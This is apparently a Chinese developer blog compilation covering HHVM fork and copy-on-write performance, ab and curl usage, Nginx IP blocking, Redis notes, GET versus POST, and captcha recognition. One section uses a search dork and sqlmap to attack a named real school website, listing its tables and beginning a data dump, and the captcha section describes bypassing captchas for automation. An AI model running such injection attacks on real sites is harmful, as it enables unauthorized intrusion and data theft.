[转]多线程下的fork及写时复制导致的性能问题

名词解释
PHP vs HHVM: PHP指的是php.net(Zend)实现的PHP,而HHVM指的是Facebook开源的PHP实现。
PHP-FPM: (PHP Fastcgi Process Manager) 一个PHP Sapi实现,目前的主流的Web应用使用的方式。基于多进程的模型
HHVM: AdminServer 这是HHVM中为了更好的运维和定位问题实现的一个HTTP操作接口,可以实时的获取和操作HHVM内部状态,
这对于我们是一个非常便利的接口,比如可以打印出内部的队列长度(fpm中也有类似接口,不过灵活性差很多)
多线程下fork()/exec()出现的性能问题
贴吧目前使用的HHVM来运行PHP程序,HHVM采用的是多线程模型, 以前我们使用的是PHP-FPM,PHP-FPM采用的是多进程的模型。 我们通过一个我们上线遇到的问题来看看Linux的写时复制和多线程相关的问题。

上周我们迁移一个服务HHVM运行环境时发现上线后CPU占用飚的非常高,经过分析发现程序时间消耗的最多时间的地方是:fork(), 这个有点奇怪,fork的时候怎么会花那么长时间呢?经过分析发现我们有个基础库的实现中使用了PHP的exec()函数来启动shell程序做字符处理,exec的实现和bash类似,先fork()一个进程然后通过exec系统调用执行相应的命令, 这没有什么不对,对不对。但是为什么在HHVM下会导致CPU利用率过高,而PHP中没事呢? 先看一些基本的背景:

关于写时复制
在Linux中要启动一个新进程的方式通常是:先调用fork()函数fork出一个新的进程,然后在 新的进程中调用exec()函数来启动新的程序从而达到启动新程序的目的,比如采用下面的代码实现。

int start_prog(char *prog, char* args[])  
{
  pid_t pid = fork(); // 创建子进程
  if (pid < 0) return -1;
  if (pid == 0) { // 子进程
    if (execv(prog, args) < 0) return -1; // 加载新的程序
  } else {
    return 1;
  }
}

int main()  
{
  char* args[] = {NULL};
  return start_prog("/bin/ls", args);
}

我们知道进程间的内存地址空间是隔离的,fork()系统调用的结果是生成一个新的子进程,为了保证隔离性, 早期的UNIX采用在fork()将父进程的地址空间完整的复制一份。这个操作非常的耗时。 为了提高效率现代的Unix及Linux采用了一种称为写时复制的技术,其实也就是一种延迟操作的做法, 子进程和父进程在fork()时并不马上复制,而是暂时共享内存空间,随后只要父进程或者子进程试图写共享的内存就会产生一个异常, 这时内核才把内存空间进程复制,比如我们在Shell中启动一个程序时随后就会启动新的程序,启动后的程序将会覆盖旧的内存空间, 如果提前就复制了,那么这个复制操作其实是白做了,为此系统将这个操作优化为写时复制。

复制进程空间

写时复制,发生写时才复制内存地址空间

没必要做 如果马上进行exec加载新的程序,那么复制地址就没必要了

解决方案
从前面的介绍我们知道,启动新程序的时候利用了写实复制的技术避免不必要的消耗。对于HHVM来说, 我们使用的是多线程,每个线下都在并行的执行,也就是说,在某个线程在执行fork()的是时候 还会有其他线程在处理任务,由于线程间是共享进程空间的,那时不可避免的可能会写内存。这就触发了 操作系统的写实复制,导致大量的内存复制操作(其实也是没必要的),这会导致资源占用急剧上涨。

说到这里你可能会说:你看,多线程模式不太好吧。HHVM的实现是不是有问题?其实对于PHP也会有类似的问题的, 如果你使用的是PHP的多线程模型(现在应该很少的人使用)。

这个问题,HHVM使用了一个比较巧妙的方式来解决。

HHVM的思路是这样的,既然多线程下写实复制容易出俩捣乱,那么就让fork发生在非多线程的进程中,让他不可能发生空间复制。

HHVM启动时先预先启动N个(可配置)代理进程,在父进程和这些代理进程之前预先开启管道方便通信
有需要启动子进程的时候,通过管道选择一个没有正在fork()进程的代理进程,将执行信息通过管道发给代理进程
代理进程根据要执行的程序fork()一个新的子进程并执行相应的命令,然后将执行完成的信息通过管道写回主进程。
从上面可以知道,因为代理进程每个进程都只有一个线程不会存在多线程写的问题。 HHVM中将它称为轻进程。

使用fork来避免复制

解决方案

使用了HHVM的轻进程后,CPU直接就降了下来,我们虽然可是使用这个方案解决这个问题,不过我们还是将 exec()调用改成了PHP原生文件读取操作,一来exec()函数的成本相对较高,二来使用shell不利于可移植性, 虽然我们不太可能使用Windows,不过这样的耦合是没必要的。

总结
多线程vs多进程。其实这两个模式没有绝对的好坏,就要需要什么,多进程的好处是进程隔离,程序出现问题也能保证服务不整体crash掉,但是多进程带来的问题是进程间通信的成本,多线程也有多好处,比如HHVM中的AdminServer,队列的管理等等,如果不是多线程,JIT,实例管理,Debug都会非常的复杂。
对于高并发的程序建议少用不用exec()/system()等函数,除了内存占用,进程数也可能会变成资源瓶颈,其实和其他思路类似,尽量在用户态把事情做了。
多线程下fork()还有其他的问题,我们的场景是fork() 然后马上执行新的程序,如果你是真的要fork,这可能会遇到更多的问题,比如锁等等,请参考http://rachelbythebay.com/w/2014/08/16/forkenv/

ab带POST参数和cookie压测

根据ab –help

    -n requests     Number of requests to perform
    -c concurrency  Number of multiple requests to make at a time
    -t timelimit    Seconds to max. to spend on benchmarking
                    This implies -n 50000
    -s timeout      Seconds to max. wait for each response
                    Default is 30 seconds
    -b windowsize   Size of TCP send/receive buffer, in bytes
    -B address      Address to bind to when making outgoing connections
    -p postfile     File containing data to POST. Remember also to set -T
    -u putfile      File containing data to PUT. Remember also to set -T
    -T content-type Content-type header to use for POST/PUT data, eg.
                    'application/x-www-form-urlencoded'
                    Default is 'text/plain'
    -v verbosity    How much troubleshooting info to print
    -w              Print out results in HTML tables
    -i              Use HEAD instead of GET
    -x attributes   String to insert as table attributes
    -y attributes   String to insert as tr attributes
    -z attributes   String to insert as td or th attributes
    -C attribute    Add cookie, eg. 'Apache=1234'. (repeatable)
    -H attribute    Add Arbitrary header line, eg. 'Accept-Encoding: gzip'
                    Inserted after all normal header lines. (repeatable)
    -A attribute    Add Basic WWW Authentication, the attributes
                    are a colon separated username and password.
    -P attribute    Add Basic Proxy Authentication, the attributes
                    are a colon separated username and password.
    -X proxy:port   Proxyserver and port number to use
    -V              Print version number and exit
    -k              Use HTTP KeepAlive feature
    -d              Do not show percentiles served table.
    -S              Do not show confidence estimators and warnings.
    -q              Do not show progress when doing more than 150 requests
    -l              Accept variable document length (use this for dynamic pages)
    -g filename     Output collected data to gnuplot format file.
    -e filename     Output CSV file with percentages served
    -r              Don't exit on socket receive errors.
    -m method       Method name
    -h              Display usage information (this message)
    -Z ciphersuite  Specify SSL/TLS cipher suite (See openssl ciphers)
    -f protocol     Specify SSL/TLS protocol

例如:ab -n 10000 -c 1000 -p /Users/work/post.txt -T application/x-www-form-urlencoded -C ‘a=1;b=2’ “http://api” 是对1000个用户并发1W个请求,post数据在post.txt,类似a=b&c=d, -C 是cookie形式

Nginx 禁止IP访问

网上的方法!

我们在使用的时候会遇到很多的恶意IP攻击,这个时候就要用到Nginx 禁止IP访问了。下面我们就先看看Nginx的默认虚拟主机在用户通过IP访问,或者通过未设置的域名访问(比如有人把他自己的域名指向了你的ip)的时 候生效最关键的一点是,在server的设置里面添加这一行:

listen 80 default;

后面的default参数表示这个是默认虚拟主机。

Nginx 禁止IP访问这个设置非常有用。

比如别人通过ip或者未知域名访问你的网站的时候,你希望禁止显示任何有效内容,可以给他返回500.目前国内很多机房都要求网站主关闭空主机头,防止未备案的域名指向过来造成麻烦。就可以这样设置:

server {  
      listen 80 default;  
      return 500;  
   }

也可以把这些流量收集起来,导入到自己的网站,只要做以下跳转设置就可以:

server {  
       listen 80 default;  
       rewrite ^(.*) http://www.example.com permanent;  
   }

按照如上设置后,确实不能通过IP访问服务器了,但是在应该用中出现当server_name后跟多个域名时,其中一个域名怎么都无法访问,设置如下:

server  {  
        listen 80;  
        server_name www.example.com example.com    
   }

没更改之前,通过server_name 中的www.example.com example.com均可访问服务器,加入Nginx 禁止IP访问的设置后,通过example.com无法访问服务器了,www.example.com可以访问,用 Nginx -t 检测配置文件会提示warning:

   [warn]: conflicting server name “example.com” on 0.0.0.0:80, 
      ignored  
   the configuration file /usr/local/Nginx/conf/
      Nginx.conf syntax is ok  
   configuration file /usr/local/Nginx/conf/Nginx.
      conf test is successful

最后通过在listen 80 default;后再加server_name _;解决,形式如下:

 
  #禁止IP访问  
   server  {  
       listen 80 default;  
       server_name _;  
       server_name www.example.com example.com 
       return 500;  
   }

这样,通过example.com就能访问服务器了.

但是 网上的方法不管用,最后通过一步判断


if ($host ~ "xx.xx.xx.xx";) {

return 500;
}

done

Redis的一些知识总结

1,Redis
  • 丰富的数据结构(Data Structures)
    • 字符串(String)
      • Redis字符串能包含任意类型的数据
      • 一个字符串类型的值最多能存储512M字节的内容
      • 利用INCR命令簇INCR, DECR, INCRBY)来把字符串当作原子计数器使用
      • 使用APPEND命令在字符串后添加内容
    • 列表(List)
      • Redis列表是简单的字符串列表,按照插入顺序排序
      • 你可以添加一个元素到列表的头部(左边:LPUSH)或者尾部(右边:RPUSH)
      • 一个列表最多可以包含232-1个元素(4294967295,每个表超过40亿个元素
      • 在社交网络中建立一个时间线模型,使用LPUSH去添加新的元素用户时间线中,使用LRANGE去检索一些最近插入的条目
      • 你可以同时使用LPUSHLTRIM去创建一个永远不会超过指定元素数目列表并同时记住最后的N个元素
      • 列表可以用来当作消息传递基元(primitive),例如,众所周知的用来创建后台任务的Resque Ruby库
    • 集合(Set)
      • Redis集合是一个无序的,不允许相同成员存在的字符串合集(Uniq操作,获取某段时间所有数据排重值
      • 支持一些服务端的命令从现有的集合出发去进行集合运算,如合并(并集:union),求交(交集:intersection),差集, 找出不同元素的操作(共同好友、二度好友)
      • 用集合跟踪一个独特的事。想要知道所有访问某个博客文章的独立IP?只要每次都用SADD来处理一个页面访问。那么你可以肯定重复的IP是不会插入的( 利用唯一性,可以统计访问网站的所有独立IP
      • Redis集合能很好的表示关系。你可以创建一个tagging系统,然后用集合来代表单个tag。接下来你可以用SADD命令把所有拥有tag的对象的所有ID添加进集合,这样来表示这个特定的tag。如果你想要同时有3个不同tag的所有对象的所有ID,那么你需要使用SINTER
      • 使用SPOP或者SRANDMEMBER命令随机地获取元素
    • 哈希(Hashes)
      • Redis Hashes是字符串字段和字符串值之间的映射
      • 尽管Hashes主要用来表示对象,但它们也能够存储许多元素
    • 有序集合(Sorted Sets)
      • Redis有序集合和Redis集合类似,是不包含相同字符串的合集
      • 每个有序集合的成员都关联着一个评分,这个评分用于把有序集合中的成员按最低分到最高分排列(排行榜应用,取TOP N操作
      • 使用有序集合,你可以非常快地(O(log(N)))完成添加,删除和更新元素的操作
      • 元素是在插入时就排好序的,所以很快地通过评分(score)或者位次(position)获得一个范围的元素(需要精准设定过期时间的应用)
      • 轻易地访问任何你需要的东西: 有序的元素快速的存在性测试快速访问集合中间元素
      • 在一个巨型在线游戏中建立一个排行榜,每当有新的记录产生时,使用ZADD 来更新它。你可以用ZRANGE轻松地获取排名靠前的用户, 你也可以提供一个用户名,然后用ZRANK获取他在排行榜中的名次。 同时使用ZRANKZRANGE你可以获得与指定用户有相同分数的用户名单。 所有这些操作都非常迅速
      • 有序集合通常用来索引存储在Redis中的数据。 例如:如果你有很多的hash来表示用户,那么你可以使用一个有序集合,这个集合的年龄字段用来当作评分,用户ID当作值。用ZRANGEBYSCORE可以简单快速地检索到给定年龄段的所有用户
  • 复制(Replication, Redis复制很简单易用,它通过配置允许slave Redis Servers或者Master Servers的复制品)
    • 一个Master可以有多个Slaves
    • Slaves能通过接口其他slave的链接,除了可以接受同一个master下面slaves的链接以外,还可以接受同一个结构图中的其他slaves的链接
    • redis复制是在master段非阻塞的,这就意味着master在同一个或多个slave端执行同步的时候还可以接受查询
    • 复制slave端也是非阻塞的,假设你在redis.conf中配置redis这个功能,当slave在执行的新的同步时,它仍可以用旧的数据信息来提供查询,否则,你可以配置当redis slaves去master失去联系是,slave会给发送一个客户端错误
    • 为了有多个slaves可以做只读查询,复制可以重复2次,甚至多次,具有可扩展性(例如:slaves对话与重复的排序操作,有多份数据冗余就相对简单了)
    • 他可以利用复制去避免在master端保存数据,只要对master端redis.conf进行配置,就可以避免保存(所有的保存操作),然后通过slave的链接,来实时的保存在slave端
  • LRU过期处理(Eviction)
    • EVAL 和 EVALSHA 命令是从 Redis 2.6.0 版本开始的,使用内置的 Lua 解释器,可以对 Lua 脚本进行求值
    • Redis 使用单个 Lua 解释器去运行所有脚本,并且, Redis 也保证脚本会以原子性(atomic)的方式执行: 当某个脚本正在运行的时候,不会有其他脚本或 Redis 命令被执行。 这和使用 MULTI / EXEC包围的事务很类似。 在其他别的客户端看来,脚本的效果(effect)要么是不可见的(not visible),要么就是已完成的(already completed)
    • LRU过期处理(Eviction)
      • Redis允许为每一个key设置不同的过期时间,当它们到期时将自动从服务器上删除(EXPIRE)
  • 事务
    • MULTI 、 EXEC 、 DISCARDWATCH 是 Redis 事务的基础
    • 事务是一个单独的隔离操作:事务中的所有命令都会序列化、按顺序地执行。事务在执行的过程中不会被其他客户端发送来的命令请求所打断
    • 事务中的命令要么全部被执行,要么全部都不执行EXEC 命令负责触发并执行事务中的所有命令
    • Redis 的 Transactions 提供的并不是严格的 ACID 的事务
    • Transactions 还是提供了基本的命令打包执行的功能: 可以保证一连串的命令是顺序在一起执行的,中间有会有其它客户端命令插进来执行
    • Redis 还提供了一个 Watch 功能,你可以对一个 key 进行 Watch,然后再执行 Transactions,在这过程中,如果这个 Watched 的值进行了修改,那么这个 Transactions 会发现并拒绝执行
  • 数据持久化
    • RDB
      • 特点
        • RDB持久化方式能够在指定的时间间隔能对你的数据进行快照存储
      • 优点
        • RDB是一个非常紧凑的文件,它保存了某个时间点得数据集,非常适用于数据集的备份
        • RDB是一个紧凑的单一文件, 非常适用于灾难恢复
        • RDB在保存RDB文件时父进程唯一需要做的就是fork出一个子进程,接下来的工作全部由子进程来做,父进程不需要再做其他IO操作,所以RDB持久化方式可以最大化redis的性能
        • 与AOF相比,在恢复大的数据集的时候,RDB方式会更快一些
      • 缺点
        • 如果你希望在redis意外停止工作(例如电源中断)的情况下丢失的数据最少的话,那么RDB不适合,Redis要完整的保存整个数据集是一个比较繁重的工作
        • RDB 需要经常fork子进程来保存数据集到硬盘上,当数据集比较大的时候,fork的过程是非常耗时的,可能会导致Redis在一些毫秒级内不能响应客户端的请求.如果数据集巨大并且CPU性能不是很好的情况下,这种情况会持续1秒,AOF也需要fork,但是你可以调节重写日志文件的频率来提高数据集的耐久度
    • AOF
      • 特点
        • AOF持久化方式记录每次对服务器写的操作
        • redis重启的时候会优先载入AOF文件恢复原始的数据,因为在通常情况下AOF文件保存的数据集要比RDB文件保存的数据集要完整
      • 优点
        • 使用AOF 会让你的Redis更加耐久: 你可以使用不同的fsync策略无fsync,每秒fsync,每次写的时候fsync
        • AOF文件是一个只进行追加的日志文件,所以不需要写入seek
        • Redis 可以在 AOF 文件体积变得过大时,自动地在后台对 AOF 进行重写
        • AOF 文件有序地保存了对数据库执行的所有写入操作, 这些写入操作以 Redis 协议的格式保存, 因此 AOF 文件的内容非常容易被人读懂, 对文件进行分析(parse)也很轻松导出(export) AOF 文件也非常简单
      • 缺点
        • 对于相同的数据集来说,AOF 文件的体积通常要大于 RDB 文件的体积
        • 根据所使用的 fsync 策略,AOF 的速度可能会慢于 RDB
    • 选择
      • 同时使用两种持久化功能
  • 分布式
    • Redis Cluster (Redis 3版本)
    • Keepalived
      • Master挂了后VIP漂移到SlaveSlavekeepalived 通知redis 执行:slaveof no one ,开始提供业务
      • Master起来后VIP 地址不变Masterkeepalived 通知redis 执行slaveof slave IP host ,开始作为从同步数据
      • 依次类推
    • Twemproxy
      • 快、轻量级、减少后端Cache Server连接数、易配置、支持ketama、modula、random、常用hash 分片算法
      • 对于客户端而言,redis集群是透明的,客户端简单,遍于动态扩容
      • Proxy为单点、处理一致性hash时,集群节点可用性检测不存在脑裂问题
      • 高性能,CPU密集型,而redis节点集群多CPU资源冗余,可部署在redis节点集群上,不需要额外设备
  • 高可用(HA)
    • Redis Sentinel(redis自带的集群管理工具 )
      • 监控(Monitoring): Redis Sentinel实时监控主服务器和从服务器运行状态
      • 提醒(Notification):当被监控的某个 Redis 服务器出现问题时, Redis Sentinel 可以向系统管理员发送通知, 也可以通过 API 向其他程序发送通知
      • 自动故障转移(Automatic failover): 当一个主服务器不能正常工作时,Redis Sentinel 可以将一个从服务器升级为主服务器, 并对其他从服务器进行配置,让它们使用新的主服务器。当应用程序连接到 Redis 服务器时, Redis Sentinel会告之新的主服务器地址和端口
    • 单M-S结构
      • 单M-S结构特点是在Master服务器中配置Master Redis(Redis-1M)和Master Sentinel(Sentinel-1M)
      • Slave服务器中配置Slave Redis(Redis-1S)和Slave Sentinel(Sentinel-1S)
      • 其中 Master Redis可以提供读写服务,但是Slave Redis只能提供只读服务。因此,在业务压力比较大的情况下,可以选择将只读业务放在Slave Redis中进行
    • 双M-S结构
      • 双M-S结构的特点是在每台服务器上配置一个Master Redis,同时部署一个Slave Redis。由两个Redis Sentinel同时对4个Redis进行监控两个Master Redis可以同时对应用程序提供读写服务,即便其中一个服务器出现故障,另一个服务器也可以同时运行两个Master Redis提供读写服务
      • 缺点是两个Master redis之间无法实现数据共享,不适合存在大量用户数据关联的应用使用
    • 单M-S结构和双M-S结构比较
      • 单M-S结构适用于不同用户数据存在关联,但应用可以实现读写分离的业务模式Master主要提供写操作,Slave主要提供读操作,充分利用硬件资源
      • 双(多)M-S结构适用于用户间不存在或者存在较少的数据关联的业务模式读写效率是单M-S的两(多)倍,但要求故障时单台服务器能够承担两个Mater Redis的资源需求
  • 发布/订阅(Pub/Sub)
  • 监控:Redis-Monitor
    • 历史redis运行查询:CPU、内存、命中率、请求量、主从切换
    • 实时监控曲线
2,数据类型Redis使用场景
  • String
    • 计数器应用
  • List
    • 最新N个数据的操作
    • 消息队列
    • 删除过滤
    • 实时分析正在发生的情况,用于数据统计防止垃圾邮件(结合Set)
  • Set
    • Uniqe操作,获取某段时间所有数据排重值
    • 实时系统,反垃圾系统
    • 共同好友、二度好友
    • 利用唯一性,可以统计访问网站的所有独立 IP
    • 好友推荐的时候,根据 tag 求交集,大于某个 threshold 就可以推荐
  • Hashes
    • 存储、读取、修改用户属性
  • Sorted Set
    • 排行榜应用,取TOP N操作
    • 需要精准设定过期时间的应用(时间戳作为Score)
    • 带有权重的元素,比如一个游戏的用户得分排行榜
    • 过期项目处理,按照时间排序
3,Redis解决秒杀/抢红包等高并发事务活动
  • 秒杀开始前30分钟把秒杀库存从数据库同步到Redis Sorted Set
  • 用户秒杀库存放入秒杀限制数长度的Sorted Set
  • 秒杀到指定秒杀数后,Sorted Set不在接受秒杀请求,并显示返回标识
  • 秒杀活动完全结束后,同步Redis数据到数据库,秒杀正式结束

一个简单的sql注入实例

很多老的asp网站存在sql注入,google上搜 :inurl:TeachView.asp  会有很多小网站存在这个问题,下面进行一个简单的演示。

使用工具sqlmap

sqlmap -u http://www.lcztxx.com/TeachView.asp?id=23 进行sql注入尝试

sqlmap -u http://www.lcztxx.com/TeachView.asp?id=23 –tables 展示所有的数据库表

Database: Microsoft_Access_masterdb
[6 tables]
+———-+
| admin |
| feedback |
| menu |
| news |
| school |
| student |
+———-+

sqlmap -u http://www.lcztxx.com/TeachView.asp?id=23 –dump 尝试脱库操作。

[20:46:17] [INFO] retrieved: id
[20:46:18] [INFO] retrieved: title
[20:47:12] [INFO] retrieved: cname
[20:48:03] [INFO] retrieved: content
[20:49:19] [INFO] retrieved: num

[20:51:59] [INFO] fetching entries for table ‘student’ in database ‘Microsoft_Access_masterdb’
[20:51:59] [INFO] fetching number of entries for table ‘student’ in database ‘Microsoft_Access_masterdb’
[20:51:59] [INFO] retrieved: 9
[20:52:05] [INFO] fetching number of distinct values for column ‘id’
[20:52:05] [INFO] retrieved: 9
[20:52:11] [INFO] using column ‘id’ as a pivot for retrieving row data
[20:52:11] [INFO] retrieved: 10
[20:52:20] [INFO] retrieved: 470
[20:52:30] [INFO] retrieved: Student
[20:52:51] [INFO] retrieved:
[20:52:51] [INFO] retrieved: <img src=”../upload/2014611528324449954.jpg”

速度有点慢 就不进行了…

curl 常用参数

在shell下可以通过简单的curl模拟登录请求。

curl –cookie ‘a=123;b=456’  请求的时候带多个cookie

curl -d ‘a=123&b=456’ 请求的时候带的post

curl http://xxx.xx.com –cookie ‘a=123;b=456’ -d ‘a=123&b=456’ 注意分隔符,就是带了Post和cookie一起。

curl –user-agent ‘iphone’  设置user-agent

curl –refer ‘http://www.baidu.com’ 设置refer

[转]99%的人都理解错了HTTP中GET与POST的区别

GET和POST是HTTP请求的两种基本方法,要说它们的区别,接触过WEB开发的人都能说出一二。

最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。

你可能自己写过无数个GET和POST请求,或者已经看过很多权威网站总结出的他们的区别,你非常清楚知道什么时候该用什么。

当你在面试中被问到这个问题,你的内心充满了自信和喜悦。

你轻轻松松的给出了一个“标准答案”:

  • GET在浏览器回退时是无害的,而POST会再次提交请求。
  • GET产生的URL地址可以被Bookmark,而POST不可以。
  • GET请求会被浏览器主动cache,而POST不会,除非手动设置。
  • GET请求只能进行url编码,而POST支持多种编码方式。
  • GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
  • GET请求在URL中传送的参数是有长度限制的,而POST么有。
  • 对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
  • GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
  • GET参数通过URL传递,POST放在Request body中。

(本标准答案参考自w3schools)

“很遗憾,这不是我们要的回答!”

请告诉我真相。。。

如果我告诉你GET和POST本质上没有区别你信吗?
让我们扒下GET和POST的外衣,坦诚相见吧!

GET和POST是什么?HTTP协议中的两种发送请求的方法。

HTTP是什么?HTTP是基于TCP/IP的关于数据如何在万维网中如何通信的协议。

HTTP的底层是TCP/IP。所以GET和POST的底层也是TCP/IP,也就是说,GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。你要给GET加上request body,给POST带上url参数,技术上是完全行的通的。

那么,“标准答案”里的那些区别是怎么回事?

在我大万维网世界中,TCP就像汽车,我们用TCP来运输数据,它很可靠,从来不会发生丢件少件的现象。但是如果路上跑的全是看起来一模一样的汽车,那这个世界看起来是一团混乱,送急件的汽车可能被前面满载货物的汽车拦堵在路上,整个交通系统一定会瘫痪。为了避免这种情况发生,交通规则HTTP诞生了。HTTP给汽车运输设定了好几个服务类别,有GET, POST, PUT, DELETE等等,HTTP规定,当执行GET请求的时候,要给汽车贴上GET的标签(设置method为GET),而且要求把传送的数据放在车顶上(url中)以方便记录。如果是POST请求,就要在车上贴上POST的标签,并把货物放在车厢里。当然,你也可以在GET的时候往车厢内偷偷藏点货物,但是这是很不光彩;也可以在POST的时候在车顶上也放一些数据,让人觉得傻乎乎的。HTTP只是个行为准则,而TCP才是GET和POST怎么实现的基本。

但是,我们只看到HTTP对GET和POST参数的传送渠道(url还是requrest body)提出了要求。“标准答案”里关于参数大小的限制又是从哪来的呢?

在我大万维网世界中,还有另一个重要的角色:运输公司。不同的浏览器(发起http请求)和服务器(接受http请求)就是不同的运输公司。 虽然理论上,你可以在车顶上无限的堆货物(url中无限加参数)。但是运输公司可不傻,装货和卸货也是有很大成本的,他们会限制单次运输量来控制风险,数据量太大对浏览器和服务器都是很大负担。业界不成文的规定是,(大多数)浏览器通常都会限制url长度在2K个字节,而(大多数)服务器最多处理64K大小的url。超过的部分,恕不处理。如果你用GET服务,在request body偷偷藏了数据,不同服务器的处理方式也是不同的,有些服务器会帮你卸货,读出数据,有些服务器直接忽略,所以,虽然GET可以带request body,也不能保证一定能被接收到哦。

好了,现在你知道,GET和POST本质上就是TCP链接,并无差别。但是由于HTTP的规定和浏览器/服务器的限制,导致他们在应用过程中体现出一些不同。

你以为本文就这么结束了?

我们的大BOSS还等着出场呢。。。

这位BOSS有多神秘?当你试图在网上找“GET和POST的区别”的时候,那些你会看到的搜索结果里,从没有提到他。他究竟是什么呢。。。

GET和POST还有一个重大区别,简单的说:

GET产生一个TCP数据包;POST产生两个TCP数据包。

长的说:

对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);

而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。

也就是说,GET只需要汽车跑一趟就把货送到了,而POST得跑两趟,第一趟,先去和服务器打个招呼“嗨,我等下要送一批货来,你们打开门迎接我”,然后再回头把货送过去。

因为POST需要两步,时间上消耗的要多一点,看起来GET比POST更有效。因此Yahoo团队有推荐用GET替换POST来优化网站性能。但这是一个坑!跳入需谨慎。为什么?

1. GET与POST都有自己的语义,不能随便混用。

2. 据研究,在网络环境好的情况下,发一次包的时间和发两次包的时间差别基本可以无视。而在网络环境差的情况下,两次包的TCP在验证数据包完整性上,有非常大的优点。

3. 并不是所有浏览器都会在POST中发送两次包,Firefox就只发送一次。

[转]常见验证码的弱点与验证码识别

验证码作为一种辅助安全手段在Web安全中有着特殊的地位,验证码安全和web应用中的众多漏洞相比似乎微不足道,但是千里之堤毁于蚁穴,有些时候如果能绕过验证码,则可以把手动变为自动,对于Web安全检测有很大的帮助。

全自动区分计算机和人类的图灵测试(英语:Completely Automated Public Turing test to tell Computers and Humans Apart,简称CAPTCHA),俗称验证码,是一种区分用户是计算机和人的公共全自动程序。在CAPTCHA测试中,作为服务器的计算机会自动生成一个问题由用户来解答。这个问题可以由计算机生成并评判,但是必须只有人类才能解答。由于计算机无法解答CAPTCHA的问题,所以回答出问题的用户就可以被认为是人类。(from wikipedia)

大部分验证码的设计者都不知道为什么要用到验证码,或者对于如何检验验证码的强度没有任何概念。大多数验证码在实现的时候只是把文字印到背景稍微复杂点的图片上就完事了,程序员没有从根本上了解验证码的设计理念。

验证码的形式多种多样,先介绍最简单的纯文本验证码。

 

纯文本验证码

纯文本,输出具有固定格式,数量有限,例如:

•1+1=?

•本论坛的域名是?

•今天是星期几?

•复杂点的数学运算

这种验证码并不符合验证码的定义,因为只有自动生成的问题才能用做验证码,这种文字验证码都是从题库里选择出来的,数量有限。破解方式也很简单,多刷新几次,建立题库和对应的答案,用正则从网页里抓取问题,寻找匹配的答案后破解。也有些用随机生成的数学公式,比如 随机数 [+-*/]随机运算符 随机数=?,小学生水平的程序员也可以搞定……

这种验证码也不是一无是处,对于很多见到表单就来一发的spam bot来说,实在没必要单独为了一个网站下那么大功夫。对于铁了心要在你的网站大量灌水的人,这种验证码和没有一样。

下面讲的是验证码中的重点,图形验证码。

图形验证码

先来说一下基础:

识别图形验证码可以说是计算机科学里的一项重要课题,涉及到计算机图形学,机器学习,机器视觉,人工智能等等高深领域……

简单地说,计算机图形学的主要研究内容就是研究如何在计算机中表示图形、以及利用计算机进行图形的计算、处理和显示的相关原理与算法。图形通常由点、线、面、体等几何元素和灰度、色彩、线型、线宽等非几何属性组成。计算机涉及到的几何图形处理一般有 2维到n维图形处理,边界区分,面积计算,体积计算,扭曲变形校正。对于颜色则有色彩空间的计算与转换,图形上色,阴影,色差处理等等。

在破解验证码中需要用到的知识一般是 像素,线,面等基本2维图形元素的处理和色差分析。常见工具为:

•支持向量机(SVM)

•OpenCV

•图像处理软件(Photoshop,Gimp…)

•Python Image Library

支持向量机SVM是一个机器学习领域里常用到的分类器,可以对图形进行边界区分,不过需要的背景知识太高深。

OpenCV是一个很常用的计算机图像处理和机器视觉库,一般用于人脸识别,跟踪移动物体等等,对这方面有兴趣的可以研究一下

PS,GIMP就不说了,说多了都是泪啊……

Python Image Library是pyhon里面带的一个图形处理库,功能比较强大,是我们的首选。

20130605190615_98443.png

SVM图像边界区分

20130605192502_65273.png

SVM原理,把数据映射到高维空间,然后寻找能够分割的超平面

识别验证码需要充分利用图片中的信息,才能把验证码的文字和背景部分分离,一张典型的jpeg图片,每个像素都可以放在一个5维的空间里,这5个维度分别是,X,Y,R,G,B,也就是像素的坐标和颜色,在计算机图形学中,有很多种色彩空间,最常用的比如RGB,印刷用的CYMK,还有比较少见的HSL或者HSV,每种色彩空间的维度都不一样,但是可以通过公式互相转换。

20130605193040_40334.png

RGB色彩空间构成的立方体,每个维度代表一种颜色

20130605193155_34999.png

HSL(色相饱和度)色彩空间构成的锥体,可以参考:

https://zh.wikipedia.org/wiki/HSL%E5%92%8CHSV%E8%89%B2%E5%BD%A9%E7%A9%BA%E9%97%B4

了解到色彩空间的原理,就可以用在该空间适用的公式来进行像素的色差判断,比如RGB空间里判断两个点的色差可以用3维空间中两坐标求距离的公式:

distance=sqrt[(r1-r2)^2+(g1-g2)^2+(b1-b2)^2]

更加直观的图片,大家感受一下:

20130605194036_39590.png

随便把一张图片的每个像素都映射到RGB色彩空间里就能获得一个这样的立方体。

通过对像素颜色进行统计和区分,可以获得图片的颜色分布,在验证码中,一般来说使用近似颜色最多的像素都是背景,最少的一般为干扰点,干扰线和需要识别文字本身。

对于在RGB空间中不好区分颜色,可以把色彩空间转换为HSV或HSL:

20130605194730_56543.png

0x01 验证码识别的原理和过程


第一步:    二值化

所谓二值化就是把不需要的信息通通去除,比如背景,干扰线,干扰像素等等,只剩下需要识别的文字,让图片变成2进制点阵。

20130605195023_13222.png

第二步: 文字分割

为了能识别出字符,需要对要识别的文字图图片进行分割,把每个字符作为单独的一个图片看待。

20130605200952_55267.png

第三步:标准化

对于部分特殊的验证码,需要对分割后的图片进行标准化处理,也就是说尽量把每个相同的字符都变成一样的格式,减少随机的程度

最简单的比如旋转还原,复杂点的比如扭曲还原等等

第四步:识别

这一步可以用很多种方法,最简单的就是模板对比,对每个出现过的字符进行处理后把点阵变成字符串,标明是什么字符后,通过字符串对比来判断相似度。

在文章的后半部分会详细解释每步的各种算法

20130605220655_80781.png

二值化算法

对于大部分彩色验证码,通过判断色差和像素分布都能准确的把文字和背景分离出来,通过PS等工具把图片打开,用RGB探针对文字和背景图的颜色分别测试,在测试多张图片后,很容易可以发现文字和背景图的RGB差距总是大于一个固定的阈值,即使每次图片的文字和背景颜色都会变化,比如:

新浪和discuz的验证码

20130607213048_17172.jpg20130607213105_77426.jpg

